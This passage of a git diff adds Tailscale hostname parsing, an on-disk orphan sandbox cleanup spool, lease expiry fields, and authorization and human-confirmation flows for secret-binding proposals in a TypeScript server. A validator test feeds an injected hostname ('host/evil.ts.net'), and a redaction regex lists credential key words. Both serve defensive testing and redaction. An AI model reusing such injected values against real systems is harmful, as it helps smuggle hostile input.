+    for (const port of [...this.heldUntilByPort.keys()]) {
+      if (this.isHeld(port, nowMs)) active.add(port);
+    }
+    return active;
+  }
+
+  clear(): void {
+    this.heldUntilByPort.clear();
+  }
+}
diff --git a/server/src/services/runtime-exposure/tailscale-hostname.test.ts b/server/src/services/runtime-exposure/tailscale-hostname.test.ts
new file mode 100644
index 00000000000..aef2b0d5378
--- /dev/null
+++ b/server/src/services/runtime-exposure/tailscale-hostname.test.ts
@@ -0,0 +1,16 @@
+import { describe, expect, it } from "vitest";
+
+import { parseTailscaleDnsName } from "./tailscale-hostname.js";
+
+describe("parseTailscaleDnsName", () => {
+  it("normalizes the local node MagicDNS hostname", () => {
+    expect(parseTailscaleDnsName({ Self: { DNSName: "Branch-Runner.tail123.ts.net." } }))
+      .toBe("branch-runner.tail123.ts.net");
+  });
+
+  it("rejects missing, single-label, and injected hostnames", () => {
+    expect(() => parseTailscaleDnsName({})).toThrow(/Self\.DNSName/);
+    expect(() => parseTailscaleDnsName({ Self: { DNSName: "localhost" } })).toThrow(/invalid/);
+    expect(() => parseTailscaleDnsName({ Self: { DNSName: "host/evil.ts.net" } })).toThrow(/invalid/);
+  });
+});
diff --git a/server/src/services/runtime-exposure/tailscale-hostname.ts b/server/src/services/runtime-exposure/tailscale-hostname.ts
new file mode 100644
index 00000000000..82a6c089206
--- /dev/null
+++ b/server/src/services/runtime-exposure/tailscale-hostname.ts
@@ -0,0 +1,45 @@
+import { execFile } from "node:child_process";
+import { promisify } from "node:util";
+
+const execFileAsync = promisify(execFile);
+const DEFAULT_TAILSCALE_BIN = "/usr/bin/tailscale";
+
+type TailscaleStatus = {
+  Self?: { DNSName?: unknown };
+};
+
+/** Parse only this node's MagicDNS name from `tailscale status --json`. */
+export function parseTailscaleDnsName(value: unknown): string {
+  const dnsName = (value as TailscaleStatus | null)?.Self?.DNSName;
+  if (typeof dnsName !== "string") {
+    throw new Error("tailscale status did not include Self.DNSName");
+  }
+  const normalized = dnsName.trim().replace(/\.$/, "").toLowerCase();
+  if (!/^[a-z0-9](?:[a-z0-9.-]{0,251}[a-z0-9])?$/.test(normalized) || !normalized.includes(".")) {
+    throw new Error("tailscale status returned an invalid Self.DNSName");
+  }
+  return normalized;
+}
+
+/**
+ * Read-only hostname discovery. This does not require Tailscale operator
+ * authority; all Serve mutations remain isolated in the host broker.
+ */
+export async function resolveTailscaleDnsName(input?: {
+  tailscaleBinPath?: string;
+  timeoutMs?: number;
+}): Promise<string> {
+  const configured = process.env.PAPERCLIP_TAILSCALE_DNS_NAME?.trim();
+  if (configured) return parseTailscaleDnsName({ Self: { DNSName: configured } });
+
+  const tailscaleBinPath = input?.tailscaleBinPath ?? DEFAULT_TAILSCALE_BIN;
+  if (!tailscaleBinPath.startsWith("/")) {
+    throw new Error("tailscale binary path must be absolute");
+  }
+  const { stdout } = await execFileAsync(tailscaleBinPath, ["status", "--json"], {
+    encoding: "utf8",
+    timeout: input?.timeoutMs ?? 3_000,
+    maxBuffer: 1024 * 1024,
+  });
+  return parseTailscaleDnsName(JSON.parse(stdout));
+}
diff --git a/server/src/services/sandbox-orphan-cleanup-spool.ts b/server/src/services/sandbox-orphan-cleanup-spool.ts
new file mode 100644
index 00000000000..a1729735ed3
--- /dev/null
+++ b/server/src/services/sandbox-orphan-cleanup-spool.ts
@@ -0,0 +1,198 @@
+import { promises as fs } from "node:fs";
+import path from "node:path";
+import { createHash } from "node:crypto";
+import { resolvePaperclipInstanceRoot } from "../home-paths.js";
+
+/**
+ * One orphan pending-cleanup record. The acquire builds it when the conditional
+ * lease insert rejects a live sandbox. The record carries the same fields a
+ * `pending_cleanup` lease row needs, so a later flush re-inserts it without
+ * loss. The `metadata` field holds the sanitized lease metadata: it carries
+ * secret references, not secret values, so the record is safe to persist next to
+ * the other durable local state. A restart-recovered record still authorizes the
+ * teardown, because it keeps the immutable provider, provider lease id, and
+ * recorded config the teardown needs.
+ */
+export interface DeferredOrphanCleanupRecord {
+  companyId: string;
+  environmentId: string;
+  executionWorkspaceId: string | null;
+  issueId: string | null;
+  heartbeatRunId: string | null;
+  provider: string;
+  providerLeaseId: string | null;
+  metadata: Record<string, unknown>;
+}
+
+/**
+ * A durable, restart-safe store for orphan pending-cleanup records. The acquire
+ * appends a record here when the conditional lease insert rejects a live
+ * sandbox, the compensating teardown fails, and every synchronous
+ * `pending_cleanup` database write also fails. The database is the only
+ * automated way to find a leaked sandbox, but the database is down at that
+ * instant, so the record has nowhere durable to land. The in-process buffer
+ * alone loses the record on a restart. This spool keeps the record on the local
+ * disk, next to the other durable server state, so a restart still finds it. A
+ * later cleanup sweep loads the spool, re-inserts each record as a durable
+ * `pending_cleanup` row, and removes the spooled copy.
+ */
+export interface SandboxOrphanCleanupSpool {
+  /**
+   * Persist one orphan record durably. Report `true` when the record reached the
+   * disk, or `false` on any failure, so the caller keeps the in-process buffer
+   * and the error log as the fallback handles. This method never throws.
+   */
+  append(record: DeferredOrphanCleanupRecord): Promise<boolean>;
+  /**
+   * Load every persisted orphan record. The cleanup sweep calls this once after
+   * a restart, so the records a previous process could not land re-enter the
+   * flush path. This method never throws; it returns an empty list on any read
+   * failure and skips a malformed file.
+   */
+  load(): Promise<DeferredOrphanCleanupRecord[]>;
+  /**
+   * Remove one persisted orphan record after its durable `pending_cleanup` row
+   * lands. The removal runs after the database insert succeeds, so a crash
+   * between the insert and this removal leaves the spooled copy for a later
+   * flush. That later flush re-inserts a duplicate row, which the idempotent
+   * teardown handles. This order never loses the orphan. This method never
+   * throws.
+   */
+  remove(record: DeferredOrphanCleanupRecord): Promise<void>;
+}
+
+// The spool writes one file per orphan record, so a removal never rewrites a
+// shared file and never races a concurrent append. The file name is a stable
+// hash of the record identity, so a repeated append for the same orphan
+// overwrites the same file and never persists a duplicate.
+const RECORD_FILE_SUFFIX = ".json";
+
+// A unique temp-file counter, so two concurrent appends for two different
+// records never share a temp path. The atomic rename then publishes each record
+// without a torn write.
+let tempFileCounter = 0;
+
+function resolveDefaultSpoolDir(): string {
+  return (
+    process.env.SANDBOX_ORPHAN_CLEANUP_SPOOL_DIR ??
+    path.resolve(resolvePaperclipInstanceRoot(), "data", "sandbox-orphan-cleanup")
+  );
+}
+
+// Build the stable file name for one record. Key on the provider lease id, the
+// value the teardown needs, so a repeated append for the same orphan reuses the
+// same file. A null provider lease id carries no identity, so fall back to a
+// hash of the whole record. The hash keeps the name on the safe file-name
+// charset and hides the raw identifiers from a directory listing.
+function recordFileName(record: DeferredOrphanCleanupRecord): string {
+  const identity =
+    record.providerLeaseId !== null
+      ? `lease:${record.providerLeaseId}`
+      : `record:${JSON.stringify(record)}`;
+  const hash = createHash("sha256").update(identity).digest("hex");
+  return `${hash}${RECORD_FILE_SUFFIX}`;
+}
+
+function isDeferredOrphanCleanupRecord(value: unknown): value is DeferredOrphanCleanupRecord {
+  if (typeof value !== "object" || value === null) return false;
+  const candidate = value as Record<string, unknown>;
+  const stringOrNull = (field: unknown) => field === null || typeof field === "string";
+  return (
+    typeof candidate.companyId === "string" &&
+    typeof candidate.environmentId === "string" &&
+    stringOrNull(candidate.executionWorkspaceId) &&
+    stringOrNull(candidate.issueId) &&
+    stringOrNull(candidate.heartbeatRunId) &&
+    typeof candidate.provider === "string" &&
+    stringOrNull(candidate.providerLeaseId) &&
+    typeof candidate.metadata === "object" &&
+    candidate.metadata !== null
+  );
+}
+
+// Write one file durably. Write the bytes to a unique temp file, flush the file
+// to the disk, rename it onto the final path, then flush the directory. The
+// rename is atomic on POSIX, so a reader never sees a torn record, and a crash
+// after the directory flush still leaves the whole record on the disk.
+async function writeFileDurable(absPath: string, data: string): Promise<void> {
+  tempFileCounter += 1;
+  const tempPath = `${absPath}.${process.pid}.${tempFileCounter}.tmp`;
+  const handle = await fs.open(tempPath, "w");
+  try {
+    await handle.writeFile(data, "utf8");
+    await handle.sync();
+  } finally {
+    await handle.close();
+  }
+  try {
+    await fs.rename(tempPath, absPath);
+  } catch (error) {
+    // The rename failed, so drop the temp file. Do not leave it behind, or a
+    // later load reads a half-published record.
+    await fs.rm(tempPath, { force: true }).catch(() => undefined);
+    throw error;
+  }
+  const dirHandle = await fs.open(path.dirname(absPath), "r");
+  try {
+    await dirHandle.sync();
+  } finally {
+    await dirHandle.close();
+  }
+}
+
+/**
+ * Build a local-disk orphan-cleanup spool. The spool writes one file per record
+ * under the spool directory. The default directory sits next to the other
+ * durable server state under the instance root. A caller can override the
+ * directory for a test.
+ */
+export function createSandboxOrphanCleanupSpool(spoolDir?: string): SandboxOrphanCleanupSpool {
+  const dir = spoolDir ?? resolveDefaultSpoolDir();
+
+  return {
+    async append(record) {
+      const absPath = path.join(dir, recordFileName(record));
+      try {
+        await fs.mkdir(dir, { recursive: true });
+        // Serialize the record only. A caught write error never enters a log,
+        // because it can carry a credential in its message, code, cause, or
+        // stack. So this method reports a boolean and never logs.
+        await writeFileDurable(absPath, JSON.stringify(record));
+        return true;
+      } catch {
+        return false;
+      }
+    },
+
+    async load() {
+      let names: string[];
+      try {
+        names = await fs.readdir(dir);
+      } catch {
+        // The directory does not exist yet, or the read failed. Either way, no
+        // record waits on the disk.
+        return [];
+      }
+      const records: DeferredOrphanCleanupRecord[] = [];
+      for (const name of names) {
+        if (!name.endsWith(RECORD_FILE_SUFFIX)) continue;
+        try {
+          const raw = await fs.readFile(path.join(dir, name), "utf8");
+          const parsed: unknown = JSON.parse(raw);
+          if (isDeferredOrphanCleanupRecord(parsed)) {
+            records.push(parsed);
+          }
+        } catch {
+          // Skip a malformed or unreadable file. A partial file cannot authorize
+          // a teardown, so the load ignores it and keeps the other records.
+        }
+      }
+      return records;
+    },
+
+    async remove(record) {
+      const absPath = path.join(dir, recordFileName(record));
+      await fs.rm(absPath, { force: true }).catch(() => undefined);
+    },
+  };
+}
diff --git a/server/src/services/sandbox-provider-runtime.ts b/server/src/services/sandbox-provider-runtime.ts
index 0b089fdd6ff..74566c3ea5a 100644
--- a/server/src/services/sandbox-provider-runtime.ts
+++ b/server/src/services/sandbox-provider-runtime.ts
@@ -20,6 +20,14 @@ export interface AcquireSandboxLeaseInput {
   issueId: string | null;
   agentId?: string | null;
   executionWorkspaceId?: string | null;
+  /**
+   * The absolute latest time the acquired lease may stay active, as an ISO 8601
+   * timestamp. A caller with an independent deadline sets it. The provider must
+   * configure a provider-side expiry at or before this time, and return the real
+   * provider expiry in `SandboxLeaseHandle.expiresAt`. When omitted, the provider
+   * keeps its default lifetime.
+   */
+  requestedExpiresAt?: string | null;
 }
 
 export interface ResumeSandboxLeaseInput {
@@ -63,6 +71,12 @@ export interface SandboxExecuteInput {
 export interface SandboxLeaseHandle {
   providerLeaseId: string;
   metadata: Record<string, unknown>;
+  /**
+   * The real provider-side expiry the provider granted, as an ISO 8601 timestamp.
+   * A provider that honors a requested deadline returns the actual expiry it
+   * configured. Absent when the provider granted no bounded lifetime.
+   */
+  expiresAt?: string | null;
 }
 
 export interface PreparedSandboxWorkspace {
@@ -336,6 +350,7 @@ export async function acquireSandboxProviderLease(input: {
   agentId?: string | null;
   executionWorkspaceId?: string | null;
   reusableProviderLeaseId?: string | null;
+  requestedExpiresAt?: string | null;
 }): Promise<SandboxLeaseHandle> {
   const provider = requireSandboxProvider(input.config.provider);
   if (provider.supportsReusableLeases && input.config.reuseLease && input.reusableProviderLeaseId) {
@@ -355,6 +370,7 @@ export async function acquireSandboxProviderLease(input: {
     issueId: input.issueId,
     agentId: input.agentId,
     executionWorkspaceId: input.executionWorkspaceId,
+    requestedExpiresAt: input.requestedExpiresAt,
   });
 }
 
diff --git a/server/src/services/secret-proposal-authorization.ts b/server/src/services/secret-proposal-authorization.ts
new file mode 100644
index 00000000000..6dac8990e85
--- /dev/null
+++ b/server/src/services/secret-proposal-authorization.ts
@@ -0,0 +1,41 @@
+import type { Db } from "@paperclipai/db";
+import { forbidden, unprocessable } from "../errors.js";
+import { accessService } from "./access.js";
+import { authorizationDeniedDetails, type AuthorizationActor } from "./authorization.js";
+
+type ResolvableSecretProposal = {
+  kind: string;
+  targetId: string | null;
+};
+
+export async function assertCanResolveProposal(input: {
+  db: Db;
+  actor: AuthorizationActor;
+  companyId: string;
+  proposal: ResolvableSecretProposal;
+  assertSecretDefinitionAdmin?: () => void;
+}) {
+  if (input.proposal.kind === "secret") {
+    if (!input.assertSecretDefinitionAdmin) {
+      throw forbidden("Company admin access required");
+    }
+    input.assertSecretDefinitionAdmin();
+    return;
+  }
+  if (input.proposal.kind !== "binding" || !input.proposal.targetId) {
+    throw unprocessable("Binding proposal target is missing");
+  }
+  const decision = await accessService(input.db).decide({
+    actor: input.actor,
+    action: "agent_config:update",
+    resource: {
+      type: "agent",
+      companyId: input.companyId,
+      agentId: input.proposal.targetId,
+    },
+    scope: { requiresChangeGrant: true },
+  });
+  if (!decision.allowed) {
+    throw forbidden(decision.explanation, authorizationDeniedDetails(decision));
+  }
+}
diff --git a/server/src/services/secret-proposal-notifications.ts b/server/src/services/secret-proposal-notifications.ts
new file mode 100644
index 00000000000..9253de106f5
--- /dev/null
+++ b/server/src/services/secret-proposal-notifications.ts
@@ -0,0 +1,61 @@
+import { logger } from "../middleware/logger.js";
+import type { issueService } from "./issues.js";
+import {
+  queueIssueAssignmentWakeup,
+  type IssueAssignmentWakeupDeps,
+} from "./issue-assignment-wakeup.js";
+
+type ProposalResolutionNotification = {
+  originIssueId: string | null;
+  kind: string;
+  proposedName: string | null;
+  configPath: string | null;
+};
+
+export async function notifySecretProposalResolution(input: {
+  proposal: ProposalResolutionNotification;
+  status: "approved" | "rejected";
+  userId: string;
+  reason?: string | null;
+  issues: Pick<ReturnType<typeof issueService>, "getById" | "addComment">;
+  heartbeat: IssueAssignmentWakeupDeps;
+}) {
+  if (!input.proposal.originIssueId) return;
+  try {
+    const issue = await input.issues.getById(input.proposal.originIssueId);
+    if (!issue) return;
+    const subject = input.proposal.kind === "secret"
+      ? `secret proposal \`${input.proposal.proposedName ?? "unnamed"}\``
+      : `binding proposal \`${input.proposal.configPath ?? "unknown"}\``;
+    const configPath = input.proposal.kind === "binding"
+      ? `\n- New config path: \`${input.proposal.configPath ?? "unknown"}\`\n- Verify: \`GET /api/agents/me/secrets\``
+      : "";
+    const reason = input.reason ? `\n\nReason: ${input.reason}` : "";
+    try {
+      await input.issues.addComment(
+        issue.id,
+        `Secret proposal resolution\n\n- Proposal: ${subject}\n- Status: **${input.status}**${configPath}${reason}`,
+        { userId: input.userId },
+      );
+    } catch (err) {
+      logger.warn(
+        { err, issueId: issue.id, proposalStatus: input.status },
+        "failed to post secret proposal resolution comment",
+      );
+    }
+    await queueIssueAssignmentWakeup({
+      heartbeat: input.heartbeat,
+      issue,
+      reason: "secret_proposal_resolved",
+      mutation: `secret_proposal_${input.status}`,
+      contextSource: "secret.proposal.resolution",
+      requestedByActorType: "user",
+      requestedByActorId: input.userId,
+    });
+  } catch (err) {
+    logger.warn(
+      { err, issueId: input.proposal.originIssueId, proposalStatus: input.status },
+      "failed to notify origin issue about secret proposal resolution",
+    );
+  }
+}
diff --git a/server/src/services/secret-proposals.ts b/server/src/services/secret-proposals.ts
index 4507d2d91f8..c8364a45663 100644
--- a/server/src/services/secret-proposals.ts
+++ b/server/src/services/secret-proposals.ts
@@ -1,8 +1,18 @@
-import { and, count, desc, eq, gte, lte, or, sql } from "drizzle-orm";
+import { and, count, desc, eq, gte, inArray, lte, or, sql } from "drizzle-orm";
 import type { Db } from "@paperclipai/db";
-import { agents, companySecretProposals, companySecrets, heartbeatRuns, issues } from "@paperclipai/db";
+import {
+  agents,
+  companySecretBindings,
+  companySecretProposals,
+  companySecrets,
+  heartbeatRuns,
+  issueThreadInteractions,
+  issues,
+  userSecretDeclarations,
+  userSecretDefinitions,
+} from "@paperclipai/db";
 import type { SecretProvider } from "@paperclipai/shared";
-import { conflict, forbidden, HttpError, notFound, unprocessable } from "../errors.js";
+import { badRequest, conflict, forbidden, HttpError, notFound, unprocessable } from "../errors.js";
 import { getSecretProvider } from "../secrets/provider-registry.js";
 import { agentService } from "./agents.js";
 import { logActivity } from "./activity-log.js";
@@ -158,6 +168,149 @@ export function createSecretProposalsService(db: Db) {
     });
   }
 
+  async function createBindingInteraction(
+    txDb: Db,
+    proposal: Proposal,
+    sourceSecretLabel: string,
+  ) {
+    if (!proposal.originIssueId || !proposal.targetId || !proposal.configPath) return proposal;
+    const target = await txDb
+      .select({ name: agents.name })
+      .from(agents)
+      .where(and(eq(agents.id, proposal.targetId), eq(agents.companyId, proposal.companyId)))
+      .then((rows) => rows[0] ?? null);
+    if (!target) throw notFound("Target agent not found");
+
+    const [interaction] = await txDb
+      .insert(issueThreadInteractions)
+      .values({
+        companyId: proposal.companyId,
+        issueId: proposal.originIssueId,
+        kind: "request_confirmation",
+        status: "pending",
+        continuationPolicy: "wake_assignee",
+        requestedResolverPolicy: "human_only",
+        effectiveResolverPolicy: "human_only",
+        resolverPolicyProvenance: "explicit",
+        effectiveResolverPolicySource: "governed_action",
+        idempotencyKey: `secret-proposal:${proposal.id}`,
+        sourceRunId: proposal.originRunId,
+        title: "Confirm secret binding",
+        summary: `Bind ${sourceSecretLabel} to ${target.name} as ${proposal.configPath}`,
+        createdByAgentId: proposal.proposedByAgentId,
+        addresseeAgentId: null,
+        payload: {
+          version: 1,
+          prompt: `Bind secret ${sourceSecretLabel} to ${target.name} as ${proposal.configPath}?`,
+          acceptLabel: "Create binding",
+          rejectLabel: "Reject",
+          rejectRequiresReason: true,
+          rejectReasonLabel: "Why should this binding not be created?",
+          allowDeclineReason: true,
+          supersedeOnUserComment: false,
+          secretProposal: {
+            version: 1,
+            proposalId: proposal.id,
+            sourceSecretLabel,
+            configPath: proposal.configPath,
+            targetAgentId: proposal.targetId,
+            targetAgentName: target.name,
+            justification: proposal.justification,
+            expiresAt: proposal.expiresAt.toISOString(),
+          },
+        },
+      })
+      .returning();
+
+    const [linked] = await txDb
+      .update(companySecretProposals)
+      .set({ interactionId: interaction.id, updatedAt: new Date() })
+      .where(eq(companySecretProposals.id, proposal.id))
+      .returning();
+    await txDb.update(issues).set({ updatedAt: new Date() }).where(eq(issues.id, proposal.originIssueId));
+    await logActivity(txDb, {
+      companyId: proposal.companyId,
+      actorType: "agent",
+      actorId: proposal.proposedByAgentId,
+      action: "issue.thread_interaction_created",
+      entityType: "issue",
+      entityId: proposal.originIssueId,
+      agentId: proposal.proposedByAgentId,
+      runId: proposal.originRunId,
+      details: {
+        interactionId: interaction.id,
+        interactionKind: "request_confirmation",
+        interactionStatus: "pending",
+        continuationPolicy: "wake_assignee",
+        addresseeAgentId: null,
+        requestedResolverPolicy: "board_only",
+        effectiveResolverPolicy: "board_only",
+        serverOwnedPayload: "secretProposal",
+      },
+    });
+    return linked;
+  }
+
+  async function reflectProposalLifecycleOnInteraction(
+    txDb: Db,
+    proposal: Proposal,
+    outcome: "approved" | "rejected" | "withdrawn" | "expired",
+    input: { resolvedByUserId?: string | null; reason?: string | null } = {},
+  ) {
+    if (!proposal.interactionId) return;
+    const current = await txDb
+      .select()
+      .from(issueThreadInteractions)
+      .where(and(
+        eq(issueThreadInteractions.id, proposal.interactionId),
+        eq(issueThreadInteractions.companyId, proposal.companyId),
+      ))
+      .for("update")
+      .then((rows) => rows[0] ?? null);
+    if (!current || (current.status !== "pending" && !(outcome === "approved" && current.status === "accepted"))) return;
+    const payload = asRecord(current.payload);
+    const linked = asRecord(payload.secretProposal);
+    if (linked.proposalId !== proposal.id) return;
+
+    const now = new Date();
+    const currentResult = asRecord(current.result);
+    const status = outcome === "approved"
+      ? "accepted"
+      : outcome === "rejected"
+        ? "rejected"
+        : outcome === "withdrawn"
+          ? "cancelled"
+          : "expired";
+    const resultOutcome = outcome === "approved"
+      ? "accepted"
+      : outcome === "rejected"
+        ? "rejected"
+        : "withdrawn";
+    await txDb
+      .update(issueThreadInteractions)
+      .set({
+        status,
+        result: {
+          ...currentResult,
+          version: 1,
+          outcome: resultOutcome,
+          ...(input.reason ? { reason: input.reason } : {}),
+          secretProposal: {
+            version: 1,
+            status: outcome === "approved" ? "executed" : outcome,
+            updatedAt: now.toISOString(),
+          },
+        },
+        resolvedByUserId: input.resolvedByUserId ?? current.resolvedByUserId ?? null,
+        resolvedAt: current.resolvedAt ?? now,
+        updatedAt: now,
+      })
+      .where(and(
+        eq(issueThreadInteractions.id, current.id),
+        inArray(issueThreadInteractions.status, outcome === "approved" ? ["pending", "accepted"] : ["pending"]),
+      ));
+  }
+
   async function createSecret(context: ProposalRunContext, input: {
     name: string;
     key?: string | null;
@@ -204,17 +357,26 @@ export function createSecretProposalsService(db: Db) {
 
   async function createBinding(context: Pick<ProposalRunContext, "companyId" | "heartbeatRunId">, input: {
     secretId?: string | null;
+    sourceConfigPath?: string | null;
     secretProposalId?: string | null;
     targetAgentId?: string | null;
     configPath: string;
     justification: string;
     bindingTargetPolicy: "self_and_reports";
   }) {
-    if (Boolean(input.secretId) === Boolean(input.secretProposalId)) {
-      throw unprocessable("Binding proposals require exactly one of secretId or secretProposalId");
+    const referenceCount = [input.secretId, input.sourceConfigPath, input.secretProposalId]
+      .filter((value) => Boolean(value)).length;
+    if (referenceCount !== 1) {
+      throw badRequest(
+        "Binding proposals require exactly one of secretId, sourceConfigPath, or secretProposalId",
+      );
     }
     if (!CONFIG_PATH_RE.test(input.configPath)) throw unprocessable("configPath must use env.<KEY> or access.<ALIAS>");
+    if (input.sourceConfigPath && !CONFIG_PATH_RE.test(input.sourceConfigPath)) {
+      throw unprocessable("sourceConfigPath must use env.<KEY> or access.<ALIAS>");
+    }
     if (!input.justification.trim()) throw unprocessable("Justification is required");
+    if (input.justification.trim().length > 20_000) throw unprocessable("Justification must be at most 20000 characters");
     const { run, originIssueId } = await loadRunContext(db, context);
     const targetAgentId = input.targetAgentId ?? run.agentId;
     const [proposerAncestors, targetAncestors] = await Promise.all([
@@ -224,12 +386,56 @@ export function createSecretProposalsService(db: Db) {
     if (!bindingTargetAllowed(run.agentId, targetAgentId, targetAncestors)) {
       throw forbidden("Binding proposals may target only the proposing agent or its reports");
     }
-    if (input.secretId) {
+    let resolvedSecretId = input.secretId ?? null;
+    let sourceSecretLabel: string | null = null;
+    if (input.sourceConfigPath) {
+      const sourceBinding = await db.select({ secretId: companySecretBindings.secretId })
+        .from(companySecretBindings)
+        .where(and(
+          eq(companySecretBindings.companyId, context.companyId),
+          eq(companySecretBindings.targetType, "agent"),
+          eq(companySecretBindings.targetId, run.agentId),
+          eq(companySecretBindings.configPath, input.sourceConfigPath),
+        ))
+        .then((rows) => rows[0] ?? null);
+      if (sourceBinding) {
+        resolvedSecretId = sourceBinding.secretId;
+      } else if (run.responsibleUserId) {
+        const sourceDeclaration = await db
+          .select({ secretId: companySecrets.id })
+          .from(userSecretDeclarations)
+          .innerJoin(companySecrets, and(
+            eq(companySecrets.companyId, context.companyId),
+            eq(companySecrets.scope, "user"),
+            eq(companySecrets.ownerUserId, run.responsibleUserId),
+            eq(companySecrets.userSecretDefinitionId, userSecretDeclarations.userSecretDefinitionId),
+            eq(companySecrets.status, "active"),
+          ))
+          .where(and(
+            eq(userSecretDeclarations.companyId, context.companyId),
+            eq(userSecretDeclarations.targetType, "agent"),
+            eq(userSecretDeclarations.targetId, run.agentId),
+            eq(userSecretDeclarations.configPath, input.sourceConfigPath),
+          ))
+          .then((rows) => rows[0] ?? null);
+        resolvedSecretId = sourceDeclaration?.secretId ?? null;
+      }
+      if (!resolvedSecretId) throw notFound("Source secret binding not found");
+    }
+    if (resolvedSecretId) {
       const secret = await db.select().from(companySecrets).where(and(
-        eq(companySecrets.id, input.secretId),
+        eq(companySecrets.id, resolvedSecretId),
         eq(companySecrets.companyId, context.companyId),
       )).then((rows) => rows[0] ?? null);
-      if (!secret || secret.scope !== "company" || secret.status === "deleted") throw notFound("Secret not found");
+      const sourceBindingAllowsUserSecret = Boolean(input.sourceConfigPath) && secret?.scope === "user";
+      if (
+        !secret
+        || secret.status === "deleted"
+        || (secret.scope !== "company" && !sourceBindingAllowsUserSecret)
+      ) {
+        throw notFound("Secret not found");
+      }
+      sourceSecretLabel = secret.name;
     }
     return createWithinQuota(
       { companyId: context.companyId, agentId: run.agentId, runId: run.id, issueId: originIssueId },
@@ -245,12 +451,13 @@ export function createSecretProposalsService(db: Db) {
               "Prerequisite secret proposal is no longer pending; use secretId to reference an approved secret",
             );
           }
+          sourceSecretLabel = dependency.proposedName;
         }
         const proposal = await txDb.insert(companySecretProposals).values({
           companyId: context.companyId,
           kind: "binding",
           justification: input.justification.trim(),
-          secretId: input.secretId ?? null,
+          secretId: resolvedSecretId,
           secretProposalId: input.secretProposalId ?? null,
           targetType: "agent",
           targetId: targetAgentId,
@@ -264,7 +471,8 @@ export function createSecretProposalsService(db: Db) {
           expiresAt: new Date(Date.now() + PENDING_EXPIRY_MS),
         }).returning().then((rows) => rows[0]);
         await recordCreated(proposal, txDb);
-        return proposal;
+        if (!sourceSecretLabel) throw conflict("Binding proposal source secret label is unavailable");
+        return createBindingInteraction(txDb, proposal, sourceSecretLabel);
       },
     );
   }
@@ -439,17 +647,43 @@ export function createSecretProposalsService(db: Db) {
         ciphertextScrubbed: true,
       },
     });
+    await reflectProposalLifecycleOnInteraction(txDb, proposal, "approved", {
+      resolvedByUserId: input.resolvedByUserId,
+    });
     return updated;
   }
 
-  async function applyBindingApproval(txDb: Db, proposal: Proposal, secretId: string, resolvedByUserId: string) {
+  async function applyBindingApproval(
+    txDb: Db,
+    proposal: Proposal,
+    secret: typeof companySecrets.$inferSelect,
+    resolvedByUserId: string,
+  ) {
     if (!proposal.targetId || !proposal.configPath) throw conflict("Binding proposal is incomplete");
     const agentSvc = agentService(txDb);
     const target = await agentSvc.getById(proposal.targetId);
     if (!target || target.companyId !== proposal.companyId) throw notFound("Target agent not found");
     const adapterConfig = { ...asRecord(target.adapterConfig) };
     const [namespace, key] = proposal.configPath.split(".", 2);
-    const binding = { type: "secret_ref", secretId, version: "latest" };
+    const userSecretDefinition = secret.scope === "user" && secret.userSecretDefinitionId
+      ? await txDb.select({ key: userSecretDefinitions.key }).from(userSecretDefinitions).where(and(
+          eq(userSecretDefinitions.id, secret.userSecretDefinitionId),
+          eq(userSecretDefinitions.companyId, proposal.companyId),
+          eq(userSecretDefinitions.status, "active"),
+        )).then((rows) => rows[0] ?? null)
+      : null;
+    if (secret.scope === "user" && !userSecretDefinition) {
+      throw conflict("Binding proposal user secret definition is not active");
+    }
+    const binding = userSecretDefinition
+      ? {
+          type: "user_secret_ref",
+          key: userSecretDefinition.key,
+          version: "latest",
+          required: true,
+          allowMissingOverride: false,
+        }
+      : { type: "secret_ref", secretId: secret.id, version: "latest" };
     if (namespace === "env") {
       const env = { ...asRecord(adapterConfig.env) };
       const existing = env[key];
@@ -483,11 +717,13 @@ export function createSecretProposalsService(db: Db) {
     resolvedByUserId: string;
     cascade?: boolean;
     overrides?: { name?: string; description?: string | null; providerConfigId?: string | null };
+    assertCanResolve?: (proposal: Proposal, txDb: Db) => Promise<void>;
   }) {
     return db.transaction(async (tx) => {
       const txDb = tx as unknown as Db;
       const proposal = await requirePending(companyId, proposalId, txDb, true);
       assertNotExpired(proposal);
+      await input.assertCanResolve?.(proposal, txDb);
       await assertBindingSnapshotCurrent(proposal, txDb, true);
       if (proposal.kind === "secret") {
         const created = await applySecretApproval(txDb, proposal, input);
@@ -522,9 +758,9 @@ export function createSecretProposalsService(db: Db) {
       if (!secretId) throw conflict("Binding proposal has no approved secret");
       const liveSecret = await secretService(txDb).getById(secretId);
       if (!liveSecret || liveSecret.companyId !== companyId || liveSecret.status !== "active") {
-        throw conflict("Binding proposal secret is not an active company secret");
+        throw conflict("Binding proposal secret is not active");
       }
-      await applyBindingApproval(txDb, proposal, secretId, input.resolvedByUserId);
+      await applyBindingApproval(txDb, proposal, liveSecret, input.resolvedByUserId);
       return markApproved(txDb, proposal, {
         resolvedByUserId: input.resolvedByUserId,
         appliedBindingConfigPath: proposal.configPath,
@@ -600,7 +836,15 @@ export function createSecretProposalsService(db: Db) {
             cascadeFromProposalId: proposal.id,
           },
         });
+        await reflectProposalLifecycleOnInteraction(txDb, dependent, "rejected", {
+          resolvedByUserId: input.resolvedByUserId,
+          reason: dependent.resolutionReason,
+        });
       }
+      await reflectProposalLifecycleOnInteraction(txDb, proposal, status, {
+        resolvedByUserId: input.resolvedByUserId,
+        reason: input.reason ?? (status === "expired" ? "Pending proposal expired" : null),
+      });
       return updated;
     });
   }
diff --git a/server/src/services/secrets.ts b/server/src/services/secrets.ts
index 20bec111a77..fada3eca4c3 100644
--- a/server/src/services/secrets.ts
+++ b/server/src/services/secrets.ts
@@ -68,6 +68,10 @@ import { logActivity } from "./activity-log.js";
 
 const ENV_KEY_RE = /^[A-Za-z_][A-Za-z0-9_]*$/;
 const AGENT_ACCESS_CONFIG_PATH_PREFIX = "access.";
+// System consumer id for a durable orphan-sandbox teardown. The cleanup sweep
+// resolves the recorded connection secret under this id so the audit trail
+// marks the read as an orphan-sandbox teardown, not a normal environment read.
+export const SANDBOX_CLEANUP_CONSUMER_ID = "environment-sandbox-cleanup";
 const SENSITIVE_ENV_KEY_RE =
   /(api[-_]?key|access[-_]?token|auth(?:_?token)?|authorization|bearer|secret|passwd|password|credential|jwt|private[-_]?key|cookie|connectionstring)/i;
 const REDACTED_SENTINEL = "***REDACTED***";
@@ -80,6 +84,180 @@ const FALLBACK_ADAPTER_SCHEMA_SECRET_FIELDS: Readonly<Record<string, readonly st
 };
 const USER_SECRET_DEFINITION_KEY_UNIQUE_CONSTRAINT = "user_secret_definitions_company_key_uq";
 const USER_SECRET_VALUE_UNIQUE_CONSTRAINT = "company_secrets_user_definition_owner_uq";
